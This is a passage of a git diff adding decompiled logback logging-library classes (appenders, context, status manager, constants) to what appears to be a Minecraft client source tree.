+    count += 1;
+    if (newStatus.getLevel() > level) {
+      level = newStatus.getLevel();
+    }
+    
+    synchronized (statusListLock) {
+      if (statusList.size() < 150) {
+        statusList.add(newStatus);
+      } else {
+        tailBuffer.add(newStatus);
+      }
+    }
+  }
+  
+  public List<Status> getCopyOfStatusList()
+  {
+    synchronized (statusListLock) {
+      List<Status> tList = new ArrayList(statusList);
+      tList.addAll(tailBuffer.asList());
+      return tList;
+    }
+  }
+  
+  private void fireStatusAddEvent(Status status) {
+    synchronized (statusListenerListLock) {
+      for (StatusListener sl : statusListenerList) {
+        sl.addStatusEvent(status);
+      }
+    }
+  }
+  
+  public void clear() {
+    synchronized (statusListLock) {
+      count = 0;
+      statusList.clear();
+      tailBuffer.clear();
+    }
+  }
+  
+  public int getLevel() {
+    return level;
+  }
+  
+  public int getCount() {
+    return count;
+  }
+  
+
+
+
+  public void add(StatusListener listener)
+  {
+    synchronized (statusListenerListLock) {
+      if ((listener instanceof OnConsoleStatusListener)) {
+        boolean alreadyPresent = checkForPresence(statusListenerList, listener.getClass());
+        if (alreadyPresent)
+          return;
+      }
+      statusListenerList.add(listener);
+    }
+  }
+  
+  private boolean checkForPresence(List<StatusListener> statusListenerList, Class<?> aClass) {
+    for (StatusListener e : statusListenerList) {
+      if (e.getClass() == aClass)
+        return true;
+    }
+    return false;
+  }
+  
+  public void remove(StatusListener listener)
+  {
+    synchronized (statusListenerListLock) {
+      statusListenerList.remove(listener);
+    }
+  }
+  
+  public List<StatusListener> getCopyOfStatusListenerList() {
+    synchronized (statusListenerListLock) {
+      return new ArrayList(statusListenerList);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/ConsoleAppender.java b/src/minecraft/ch/qos/logback/core/ConsoleAppender.java
new file mode 100644
index 0000000..b2704a3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/ConsoleAppender.java
@@ -0,0 +1,119 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.joran.spi.ConsoleTarget;
+import ch.qos.logback.core.status.Status;
+import ch.qos.logback.core.status.WarnStatus;
+import ch.qos.logback.core.util.EnvUtil;
+import ch.qos.logback.core.util.OptionHelper;
+import java.io.OutputStream;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConsoleAppender<E>
+  extends OutputStreamAppender<E>
+{
+  protected ConsoleTarget target = ConsoleTarget.SystemOut;
+  protected boolean withJansi = false;
+  
+  private static final String WindowsAnsiOutputStream_CLASS_NAME = "org.fusesource.jansi.WindowsAnsiOutputStream";
+  
+
+  public ConsoleAppender() {}
+  
+  public void setTarget(String value)
+  {
+    ConsoleTarget t = ConsoleTarget.findByName(value.trim());
+    if (t == null) {
+      targetWarn(value);
+    } else {
+      target = t;
+    }
+  }
+  
+
+
+
+
+
+  public String getTarget()
+  {
+    return target.getName();
+  }
+  
+  private void targetWarn(String val) {
+    Status status = new WarnStatus("[" + val + "] should be one of " + Arrays.toString(ConsoleTarget.values()), this);
+    
+    status.add(new WarnStatus("Using previously set target, System.out by default.", this));
+    
+    addStatus(status);
+  }
+  
+  public void start()
+  {
+    OutputStream targetStream = target.getStream();
+    
+    if ((EnvUtil.isWindows()) && (withJansi)) {
+      targetStream = getTargetStreamForWindows(targetStream);
+    }
+    setOutputStream(targetStream);
+    super.start();
+  }
+  
+  private OutputStream getTargetStreamForWindows(OutputStream targetStream) {
+    try {
+      addInfo("Enabling JANSI WindowsAnsiOutputStream for the console.");
+      Object windowsAnsiOutputStream = OptionHelper.instantiateByClassNameAndParameter("org.fusesource.jansi.WindowsAnsiOutputStream", Object.class, context, OutputStream.class, targetStream);
+      
+      return (OutputStream)windowsAnsiOutputStream;
+    } catch (Exception e) {
+      addWarn("Failed to create WindowsAnsiOutputStream. Falling back on the default stream.", e);
+    }
+    return targetStream;
+  }
+  
+
+
+  public boolean isWithJansi()
+  {
+    return withJansi;
+  }
+  
+
+
+
+
+
+  public void setWithJansi(boolean withJansi)
+  {
+    this.withJansi = withJansi;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/Context.java b/src/minecraft/ch/qos/logback/core/Context.java
new file mode 100644
index 0000000..5929fd4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/Context.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.spi.PropertyContainer;
+import ch.qos.logback.core.status.StatusManager;
+import java.util.Map;
+import java.util.concurrent.ExecutorService;
+
+public abstract interface Context
+  extends PropertyContainer
+{
+  public abstract StatusManager getStatusManager();
+  
+  public abstract Object getObject(String paramString);
+  
+  public abstract void putObject(String paramString, Object paramObject);
+  
+  public abstract String getProperty(String paramString);
+  
+  public abstract void putProperty(String paramString1, String paramString2);
+  
+  public abstract Map<String, String> getCopyOfPropertyMap();
+  
+  public abstract String getName();
+  
+  public abstract void setName(String paramString);
+  
+  public abstract long getBirthTime();
+  
+  public abstract Object getConfigurationLock();
+  
+  public abstract ExecutorService getExecutorService();
+  
+  public abstract void register(LifeCycle paramLifeCycle);
+}
diff --git a/src/minecraft/ch/qos/logback/core/ContextBase.java b/src/minecraft/ch/qos/logback/core/ContextBase.java
new file mode 100644
index 0000000..514a2f1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/ContextBase.java
@@ -0,0 +1,220 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.spi.LogbackLock;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.util.ExecutorServiceUtil;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.ExecutorService;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextBase
+  implements Context, LifeCycle
+{
+  private long birthTime = System.currentTimeMillis();
+  
+  private String name;
+  private StatusManager sm = new BasicStatusManager();
+  
+
+
+  Map<String, String> propertyMap = new HashMap();
+  Map<String, Object> objectMap = new HashMap();
+  
+  LogbackLock configurationLock = new LogbackLock();
+  private volatile ExecutorService executorService;
+  private LifeCycleManager lifeCycleManager;
+  private boolean started;
+  
+  public ContextBase() {}
+  
+  public StatusManager getStatusManager() { return sm; }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setStatusManager(StatusManager statusManager)
+  {
+    if (statusManager == null) {
+      throw new IllegalArgumentException("null StatusManager not allowed");
+    }
+    sm = statusManager;
+  }
+  
+  public Map<String, String> getCopyOfPropertyMap() {
+    return new HashMap(propertyMap);
+  }
+  
+  public void putProperty(String key, String val) {
+    propertyMap.put(key, val);
+  }
+  
+
+
+
+
+
+
+  public String getProperty(String key)
+  {
+    if ("CONTEXT_NAME".equals(key)) {
+      return getName();
+    }
+    return (String)propertyMap.get(key);
+  }
+  
+  public Object getObject(String key) {
+    return objectMap.get(key);
+  }
+  
+  public void putObject(String key, Object value) {
+    objectMap.put(key, value);
+  }
+  
+  public void removeObject(String key) {
+    objectMap.remove(key);
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+  public void start()
+  {
+    started = true;
+  }
+  
+
+  public void stop()
+  {
+    stopExecutorService();
+    started = false;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+
+
+
+  public void reset()
+  {
+    removeShutdownHook();
+    getLifeCycleManager().reset();
+    propertyMap.clear();
+    objectMap.clear();
+  }
+  
+
+
+
+
+
+  public void setName(String name)
+    throws IllegalStateException
+  {
+    if ((name != null) && (name.equals(this.name))) {
+      return;
+    }
+    if ((this.name == null) || ("default".equals(this.name)))
+    {
+      this.name = name;
+    } else {
+      throw new IllegalStateException("Context has been already given a name");
+    }
+  }
+  
+  public long getBirthTime() {
+    return birthTime;
+  }
+  
+  public Object getConfigurationLock() {
+    return configurationLock;
+  }
+  
+  public ExecutorService getExecutorService() {
+    if (executorService == null) {
+      synchronized (this) {
+        if (executorService == null) {
+          executorService = ExecutorServiceUtil.newExecutorService();
+        }
+      }
+    }
+    return executorService;
+  }
+  
+  private synchronized void stopExecutorService() {
+    if (executorService != null) {
+      ExecutorServiceUtil.shutdown(executorService);
+      executorService = null;
+    }
+  }
+  
+  private void removeShutdownHook() {
+    Thread hook = (Thread)getObject("SHUTDOWN_HOOK");
+    if (hook != null) {
+      removeObject("SHUTDOWN_HOOK");
+      try {
+        Runtime.getRuntime().removeShutdownHook(hook);
+      }
+      catch (IllegalStateException e) {}
+    }
+  }
+  
+
+  public void register(LifeCycle component)
+  {
+    getLifeCycleManager().register(component);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  synchronized LifeCycleManager getLifeCycleManager()
+  {
+    if (lifeCycleManager == null) {
+      lifeCycleManager = new LifeCycleManager();
+    }
+    return lifeCycleManager;
+  }
+  
+  public String toString()
+  {
+    return name;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/CoreConstants.java b/src/minecraft/ch/qos/logback/core/CoreConstants.java
new file mode 100644
index 0000000..21cdc43
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/CoreConstants.java
@@ -0,0 +1,183 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.util.EnvUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CoreConstants
+{
+  public static final int CORE_POOL_SIZE = EnvUtil.isJDK5() ? 1 : 0;
+  
+
+
+
+
+  public static final int MAX_POOL_SIZE = 32;
+  
+
+
+
+  public static final String LINE_SEPARATOR = System.getProperty("line.separator");
+  public static final int LINE_SEPARATOR_LEN = LINE_SEPARATOR.length();
+  
+
+
+  public static final String CODES_URL = "http://logback.qos.ch/codes.html";
+  
+
+
+  public static final String DEFAULT_CONTEXT_NAME = "default";
+  
+
+
+  public static final String PATTERN_RULE_REGISTRY = "PATTERN_RULE_REGISTRY";
+  
+
+
+  public static final String ISO8601_STR = "ISO8601";
+  
+
+
+  public static final String ISO8601_PATTERN = "yyyy-MM-dd HH:mm:ss,SSS";
+  
+
+
+  public static final String DAILY_DATE_PATTERN = "yyyy-MM-dd";
+  
+
+
+  public static final String CLF_DATE_PATTERN = "dd/MMM/yyyy:HH:mm:ss Z";
+  
+
+
+  public static final String EVALUATOR_MAP = "EVALUATOR_MAP";
+  
+
+
+  public static final String VALUE_OF = "valueOf";
+  
+
+
+  public static final String EMPTY_STRING = "";
+  
+
+
+  public static final String[] EMPTY_STRING_ARRAY = new String[0];
+  
+
+
+
+  public static final Class<?>[] EMPTY_CLASS_ARRAY = new Class[0];
+  
+  public static final String CAUSED_BY = "Caused by: ";
+  
+  public static final String SUPPRESSED = "Suppressed: ";
+  
+  public static final String WRAPPED_BY = "Wrapped by: ";
+  
+  public static final char PERCENT_CHAR = '%';
+  
+  public static final char LEFT_PARENTHESIS_CHAR = '(';
+  
+  public static final char RIGHT_PARENTHESIS_CHAR = ')';
+  
+  public static final char ESCAPE_CHAR = '\\';
+  
+  public static final char CURLY_LEFT = '{';
+  
+  public static final char CURLY_RIGHT = '}';
+  
+  public static final char COMMA_CHAR = ',';
+  
+  public static final char DOUBLE_QUOTE_CHAR = '"';
+  
+  public static final char SINGLE_QUOTE_CHAR = '\'';
+  
+  public static final char COLON_CHAR = ':';
+  
+  public static final char DASH_CHAR = '-';
+  
+  public static final String DEFAULT_VALUE_SEPARATOR = ":-";
+  
+  public static final int TABLE_ROW_LIMIT = 10000;
+  
+  public static final int OOS_RESET_FREQUENCY = 70;
+  public static long REFERENCE_BIPS = 9000L;
+  
+
+  public static final int MAX_ERROR_COUNT = 4;
+  
+
+  public static final char DOT = '.';
+  
+
+  public static final char TAB = '\t';
+  
+
+  public static final char DOLLAR = '$';
+  
+
+  public static final String SEE_FNP_NOT_SET = "See also http://logback.qos.ch/codes.html#tbr_fnp_not_set";
+  
+
+  public static final String CONFIGURATION_WATCH_LIST = "CONFIGURATION_WATCH_LIST";
+  
+
+  public static final String CONFIGURATION_WATCH_LIST_RESET = "CONFIGURATION_WATCH_LIST_RESET";
+  
+
+  public static final String SAFE_JORAN_CONFIGURATION = "SAFE_JORAN_CONFIGURATION";
+  
+
+  public static final String XML_PARSING = "XML_PARSING";
+  
+
+  public static final String SHUTDOWN_HOOK_THREAD = "SHUTDOWN_HOOK";
+  
+  public static final String HOSTNAME_KEY = "HOSTNAME";
+  
+  public static final String CONTEXT_NAME_KEY = "CONTEXT_NAME";
+  
+  public static final int BYTES_PER_INT = 4;
+  
+  public static final int MILLIS_IN_ONE_SECOND = 1000;
+  
+  public static final int MILLIS_IN_ONE_MINUTE = 60000;
+  
+  public static final int MILLIS_IN_ONE_HOUR = 3600000;
+  
+  public static final int MILLIS_IN_ONE_DAY = 86400000;
+  
+  public static final int MILLIS_IN_ONE_WEEK = 604800000;
+  
+  public static final int SECONDS_TO_WAIT_FOR_COMPRESSION_JOBS = 30;
+  
+  public static final String CONTEXT_SCOPE_VALUE = "context";
+  
+  public static final String RESET_MSG_PREFIX = "Will reset and reconfigure context ";
+  
+  public static final String JNDI_COMP_PREFIX = "java:comp/env";
+  
+  public static final String UNDEFINED_PROPERTY_SUFFIX = "_IS_UNDEFINED";
+  
+  public static final String LEFT_ACCOLADE = new String(new char[] { '{' });
+  public static final String RIGHT_ACCOLADE = new String(new char[] { '}' });
+  
+  public CoreConstants() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/FileAppender.java b/src/minecraft/ch/qos/logback/core/FileAppender.java
new file mode 100644
index 0000000..791415f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/FileAppender.java
@@ -0,0 +1,223 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.recovery.ResilientFileOutputStream;
+import ch.qos.logback.core.util.FileUtil;
+import java.io.File;
+import java.io.IOException;
+import java.nio.channels.FileChannel;
+import java.nio.channels.FileLock;
+import java.util.concurrent.locks.ReentrantLock;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FileAppender<E>
+  extends OutputStreamAppender<E>
+{
+  protected boolean append = true;
+  
+
+
+
+  protected String fileName = null;
+  
+  private boolean prudent = false;
+  
+
+  public FileAppender() {}
+  
+  public void setFile(String file)
+  {
+    if (file == null) {
+      fileName = file;
+    }
+    else
+    {
+      fileName = file.trim();
+    }
+  }
+  
+
+
+  public boolean isAppend()
+  {
+    return append;
+  }
+  
+
+
+
+
+
+  public final String rawFileProperty()
+  {
+    return fileName;
+  }
+  
+
+
+
+
+
+
+  public String getFile()
+  {
+    return fileName;
+  }
+  
+
+
+
+
+  public void start()
+  {
+    int errors = 0;
+    if (getFile() != null) {
+      addInfo("File property is set to [" + fileName + "]");
+      
+      if ((prudent) && 
+        (!isAppend())) {
+        setAppend(true);
+        addWarn("Setting \"Append\" property to true on account of \"Prudent\" mode");
+      }
+      
+      try
+      {
+        openFile(getFile());
+      } catch (IOException e) {
+        errors++;
+        addError("openFile(" + fileName + "," + append + ") call failed.", e);
+      }
+    } else {
+      errors++;
+      addError("\"File\" property not set for appender named [" + name + "].");
+    }
+    if (errors == 0) {
+      super.start();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void openFile(String file_name)
+    throws IOException
+  {
+    lock.lock();
+    try {
+      File file = new File(file_name);
+      boolean result = FileUtil.createMissingParentDirectories(file);
+      if (!result) {
+        addError("Failed to create parent directories for [" + file.getAbsolutePath() + "]");
+      }
+      
+
+      ResilientFileOutputStream resilientFos = new ResilientFileOutputStream(file, append);
+      
+      resilientFos.setContext(context);
+      setOutputStream(resilientFos);
+    } finally {
+      lock.unlock();
+    }
+  }
+  
+
+
+
+
+  public boolean isPrudent()
+  {
+    return prudent;
+  }
+  
+
+
+
+
+
+  public void setPrudent(boolean prudent)
+  {
+    this.prudent = prudent;
+  }
+  
+  public void setAppend(boolean append) {
+    this.append = append;
+  }
+  
+  private void safeWrite(E event) throws IOException {
+    ResilientFileOutputStream resilientFOS = (ResilientFileOutputStream)getOutputStream();
+    FileChannel fileChannel = resilientFOS.getChannel();
+    if (fileChannel == null) {
+      return;
+    }
+    
+
+    boolean interrupted = Thread.interrupted();
+    
+    FileLock fileLock = null;
+    try {
+      fileLock = fileChannel.lock();
+      long position = fileChannel.position();
+      long size = fileChannel.size();
+      if (size != position) {
+        fileChannel.position(size);
+      }
+      super.writeOut(event);
+    }
+    catch (IOException e) {
+      resilientFOS.postIOFailure(e);
+    }
+    finally {
+      if ((fileLock != null) && (fileLock.isValid())) {
+        fileLock.release();
+      }
+      
+
+      if (interrupted) {
+        Thread.currentThread().interrupt();
+      }
+    }
+  }
+  
+  protected void writeOut(E event) throws IOException
+  {
+    if (prudent) {
+      safeWrite(event);
+    } else {
+      super.writeOut(event);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/Layout.java b/src/minecraft/ch/qos/logback/core/Layout.java
new file mode 100644
index 0000000..0b09afe
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/Layout.java
@@ -0,0 +1,20 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.LifeCycle;
+
+public abstract interface Layout<E>
+  extends ContextAware, LifeCycle
+{
+  public abstract String doLayout(E paramE);
+  
+  public abstract String getFileHeader();
+  
+  public abstract String getPresentationHeader();
+  
+  public abstract String getPresentationFooter();
+  
+  public abstract String getFileFooter();
+  
+  public abstract String getContentType();
+}
diff --git a/src/minecraft/ch/qos/logback/core/LayoutBase.java b/src/minecraft/ch/qos/logback/core/LayoutBase.java
new file mode 100644
index 0000000..00eac4b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/LayoutBase.java
@@ -0,0 +1,82 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+
+
+
+
+
+
+
+
+
+
+public abstract class LayoutBase<E>
+  extends ContextAwareBase
+  implements Layout<E>
+{
+  protected boolean started;
+  String fileHeader;
+  String fileFooter;
+  String presentationHeader;
+  String presentationFooter;
+  
+  public LayoutBase() {}
+  
+  public void setContext(Context context)
+  {
+    this.context = context;
+  }
+  
+  public Context getContext() {
+    return context;
+  }
+  
+  public void start() {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public String getFileHeader() {
+    return fileHeader;
+  }
+  
+  public String getPresentationHeader() {
+    return presentationHeader;
+  }
+  
+  public String getPresentationFooter() {
+    return presentationFooter;
+  }
+  
+  public String getFileFooter() {
+    return fileFooter;
+  }
+  
+  public String getContentType() {
+    return "text/plain";
+  }
+  
+  public void setFileHeader(String header) {
+    fileHeader = header;
+  }
+  
+  public void setFileFooter(String footer) {
+    fileFooter = footer;
+  }
+  
+  public void setPresentationHeader(String header) {
+    presentationHeader = header;
+  }
+  
+  public void setPresentationFooter(String footer) {
+    presentationFooter = footer;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/LifeCycleManager.java b/src/minecraft/ch/qos/logback/core/LifeCycleManager.java
new file mode 100644
index 0000000..f8736be
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/LifeCycleManager.java
@@ -0,0 +1,54 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.spi.LifeCycle;
+import java.util.HashSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LifeCycleManager
+{
+  private final Set<LifeCycle> components = new HashSet();
+  
+
+  public LifeCycleManager() {}
+  
+
+  public void register(LifeCycle component)
+  {
+    components.add(component);
+  }
+  
+
+
+
+
+  public void reset()
+  {
+    for (LifeCycle component : components) {
+      if (component.isStarted()) {
+        component.stop();
+      }
+    }
+    components.clear();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/LogbackException.java b/src/minecraft/ch/qos/logback/core/LogbackException.java
new file mode 100644
index 0000000..85a2bb8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/LogbackException.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core;
+
+
+
+
+
+
+
+public class LogbackException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = -799956346239073266L;
+  
+
+
+
+
+
+  public LogbackException(String msg)
+  {
+    super(msg);
+  }
+  
+  public LogbackException(String msg, Throwable nested)
+  {
+    super(msg, nested);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/OutputStreamAppender.java b/src/minecraft/ch/qos/logback/core/OutputStreamAppender.java
new file mode 100644
index 0000000..cdba84c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/OutputStreamAppender.java
@@ -0,0 +1,238 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.encoder.Encoder;
+import ch.qos.logback.core.encoder.LayoutWrappingEncoder;
+import ch.qos.logback.core.spi.DeferredProcessingAware;
+import ch.qos.logback.core.status.ErrorStatus;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.concurrent.locks.ReentrantLock;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OutputStreamAppender<E>
+  extends UnsynchronizedAppenderBase<E>
+{
+  protected Encoder<E> encoder;
+  protected final ReentrantLock lock = new ReentrantLock(true);
+  
+
+  private OutputStream outputStream;
+  
+
+
+  public OutputStreamAppender() {}
+  
+
+
+  public OutputStream getOutputStream()
+  {
+    return outputStream;
+  }
+  
+
+
+
+  public void start()
+  {
+    int errors = 0;
+    if (encoder == null) {
+      addStatus(new ErrorStatus("No encoder set for the appender named \"" + name + "\".", this));
+      
+      errors++;
+    }
+    
+    if (outputStream == null) {
+      addStatus(new ErrorStatus("No output stream set for the appender named \"" + name + "\".", this));
+      
+      errors++;
+    }
+    
+    if (errors == 0) {
+      super.start();
+    }
+  }
+  
+  public void setLayout(Layout<E> layout) {
+    addWarn("This appender no longer admits a layout as a sub-component, set an encoder instead.");
+    addWarn("To ensure compatibility, wrapping your layout in LayoutWrappingEncoder.");
+    addWarn("See also http://logback.qos.ch/codes.html#layoutInsteadOfEncoder for details");
+    LayoutWrappingEncoder<E> lwe = new LayoutWrappingEncoder();
+    lwe.setLayout(layout);
+    lwe.setContext(context);
+    encoder = lwe;
+  }
+  
+  protected void append(E eventObject)
+  {
+    if (!isStarted()) {
+      return;
+    }
+    
+    subAppend(eventObject);
+  }
+  
+
+
+
+
+
+
+  public void stop()
+  {
+    lock.lock();
+    try {
+      closeOutputStream();
+      super.stop();
+    } finally {
+      lock.unlock();
+    }
+  }
+  
+
+
+  protected void closeOutputStream()
+  {
+    if (outputStream != null) {
+      try
+      {
+        encoderClose();
+        outputStream.close();
+        outputStream = null;
+      } catch (IOException e) {
+        addStatus(new ErrorStatus("Could not close output stream for OutputStreamAppender.", this, e));
+      }
+    }
+  }
+  
+  void encoderInit()
+  {
+    if ((encoder != null) && (outputStream != null)) {
+      try {
+        encoder.init(outputStream);
+      } catch (IOException ioe) {
+        started = false;
+        addStatus(new ErrorStatus("Failed to initialize encoder for appender named [" + name + "].", this, ioe));
+      }
+    }
+  }
+  
+
+  void encoderClose()
+  {
+    if ((encoder != null) && (outputStream != null)) {
+      try {
+        encoder.close();
+      } catch (IOException ioe) {
+        started = false;
+        addStatus(new ErrorStatus("Failed to write footer for appender named [" + name + "].", this, ioe));
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setOutputStream(OutputStream outputStream)
+  {
+    lock.lock();
+    try
+    {
+      closeOutputStream();
+      
+      this.outputStream = outputStream;
+      if (encoder == null) {
+        addWarn("Encoder has not been set. Cannot invoke its init method.");
+      }
+      else
+      {
+        encoderInit(); }
+    } finally {
+      lock.unlock();
+    }
+  }
+  
+  protected void writeOut(E event) throws IOException {
+    encoder.doEncode(event);
+  }
+  
+
+
+
+
+
+
+
+  protected void subAppend(E event)
+  {
+    if (!isStarted()) {
+      return;
+    }
+    try
+    {
+      if ((event instanceof DeferredProcessingAware)) {
+        ((DeferredProcessingAware)event).prepareForDeferredProcessing();
+      }
+      
+
+
+      lock.lock();
+      try {
+        writeOut(event);
+      } finally {
+        lock.unlock();
+      }
+    }
+    catch (IOException ioe)
+    {
+      started = false;
+      addStatus(new ErrorStatus("IO failure in appender", this, ioe));
+    }
+  }
+  
+  public Encoder<E> getEncoder() {
+    return encoder;
+  }
+  
+  public void setEncoder(Encoder<E> encoder) {
+    this.encoder = encoder;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/PropertyDefinerBase.java b/src/minecraft/ch/qos/logback/core/PropertyDefinerBase.java
new file mode 100644
index 0000000..d236751
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/PropertyDefinerBase.java
@@ -0,0 +1,29 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.PropertyDefiner;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class PropertyDefinerBase
+  extends ContextAwareBase
+  implements PropertyDefiner
+{
+  public PropertyDefinerBase() {}
+  
+  protected static String booleanAsStr(boolean bool)
+  {
+    return bool ? Boolean.TRUE.toString() : Boolean.FALSE.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/UnsynchronizedAppenderBase.java b/src/minecraft/ch/qos/logback/core/UnsynchronizedAppenderBase.java
new file mode 100644
index 0000000..c3fc1ed
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/UnsynchronizedAppenderBase.java
@@ -0,0 +1,139 @@
+package ch.qos.logback.core;
+
+import ch.qos.logback.core.filter.Filter;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.FilterAttachableImpl;
+import ch.qos.logback.core.spi.FilterReply;
+import ch.qos.logback.core.status.WarnStatus;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class UnsynchronizedAppenderBase<E>
+  extends ContextAwareBase
+  implements Appender<E>
+{
+  protected boolean started = false;
+  
+
+
+
+  public UnsynchronizedAppenderBase() {}
+  
+
+
+  private ThreadLocal<Boolean> guard = new ThreadLocal();
+  
+
+
+  protected String name;
+  
+
+
+  private FilterAttachableImpl<E> fai = new FilterAttachableImpl();
+  
+  public String getName() {
+    return name; }
+  
+
+  private int statusRepeatCount = 0;
+  private int exceptionCount = 0;
+  
+
+  static final int ALLOWED_REPEATS = 3;
+  
+
+
+  public void doAppend(E eventObject)
+  {
+    if (Boolean.TRUE.equals(guard.get())) {
+      return;
+    }
+    try
+    {
+      guard.set(Boolean.TRUE);
+      
+      if (!started) {
+        if (statusRepeatCount++ < 3) {
+          addStatus(new WarnStatus("Attempted to append to non started appender [" + name + "].", this));
+        }
+        
+
+      }
+      else
+      {
+        if (getFilterChainDecision(eventObject) == FilterReply.DENY) {
+          return;
+        }
+        
+
+        append(eventObject);
+      }
+    } catch (Exception e) {
+      if (exceptionCount++ < 3) {
+        addError("Appender [" + name + "] failed to append.", e);
+      }
+    } finally {
+      guard.set(Boolean.FALSE);
+    }
+  }
+  
+
+  protected abstract void append(E paramE);
+  
+
+  public void setName(String name)
+  {
+    this.name = name;
+  }
+  
+  public void start() {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public String toString() {
+    return getClass().getName() + "[" + name + "]";
+  }
+  
+  public void addFilter(Filter<E> newFilter) {
+    fai.addFilter(newFilter);
+  }
+  
+  public void clearAllFilters() {
+    fai.clearAllFilters();
+  }
+  
+  public List<Filter<E>> getCopyOfAttachedFiltersList() {
+    return fai.getCopyOfAttachedFiltersList();
+  }
+  
+  public FilterReply getFilterChainDecision(E event) {
+    return fai.getFilterChainDecision(event);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/boolex/EvaluationException.java b/src/minecraft/ch/qos/logback/core/boolex/EvaluationException.java
new file mode 100644
index 0000000..a1bef11
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/boolex/EvaluationException.java
@@ -0,0 +1,36 @@
+package ch.qos.logback.core.boolex;
+
+
+
+
+
+
+
+
+
+public class EvaluationException
+  extends Exception
+{
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+
+
+
+
+
+  public EvaluationException(String msg)
+  {
+    super(msg);
+  }
+  
+  public EvaluationException(String msg, Throwable cause) {
+    super(msg, cause);
+  }
+  
+  public EvaluationException(Throwable cause) {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/boolex/EventEvaluator.java b/src/minecraft/ch/qos/logback/core/boolex/EventEvaluator.java
new file mode 100644
index 0000000..303b8e0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/boolex/EventEvaluator.java
@@ -0,0 +1,15 @@
+package ch.qos.logback.core.boolex;
+
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.LifeCycle;
+
+public abstract interface EventEvaluator<E>
+  extends ContextAware, LifeCycle
+{
+  public abstract boolean evaluate(E paramE)
+    throws NullPointerException, EvaluationException;
+  
+  public abstract String getName();
+  
+  public abstract void setName(String paramString);
+}
diff --git a/src/minecraft/ch/qos/logback/core/boolex/EventEvaluatorBase.java b/src/minecraft/ch/qos/logback/core/boolex/EventEvaluatorBase.java
new file mode 100644
index 0000000..8348118
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/boolex/EventEvaluatorBase.java
@@ -0,0 +1,46 @@
+package ch.qos.logback.core.boolex;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+
+
+
+
+
+
+
+
+
+
+public abstract class EventEvaluatorBase<E>
+  extends ContextAwareBase
+  implements EventEvaluator<E>
+{
+  String name;
+  boolean started;
+  
